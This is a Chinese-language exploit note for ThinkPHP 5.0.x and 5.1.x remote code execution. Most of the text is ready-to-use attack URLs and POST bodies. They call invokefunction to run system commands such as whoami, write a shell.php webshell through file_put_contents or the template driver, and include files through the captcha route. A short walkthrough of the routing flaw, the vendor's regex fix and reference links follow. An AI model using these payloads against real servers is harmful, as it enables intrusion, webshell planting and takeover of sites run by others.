5.1.x php版本>5.5
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
文件包含:
http://ip/index.php?s=captcha&m=1
post提交:
_method=__construct&filter[]=think__include_file&get[]=/home/www/thinkphp/public/payload.txt&method=get&server[]=
5.0.x php版本>=5.4
http://ip/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100
http://ip/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
http://ip/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=內容需要url編碼
thinkphp默認沒有開啟強制路由,而且默認開啟路由兼容模式。
那么我們可以用兼容模式來調用控制器,當沒有對控制器過濾時,我們可以調用任意的方法來執行!
還是拿 thinkphp5.0.5 來進行分析
payload:index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
命令執行成功!
漏洞分析:
斷點跟進,先來到routeCheck方法中獲得了路由
然后在里面對路由進行一系列的獲取走出routeCheck之后的$dispatch的內容為:
最后進入module方法中進行調用
最后通過反射類進行傳參來進行命令的執行
修復:
大於5.0.23、大於5.1.30獲取時使用正則匹配校驗
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
參考文章:https://www.cnblogs.com/r00tuser/p/10103329.html
參考文章:https://y4er.com/post/thinkphp5-rce/#5024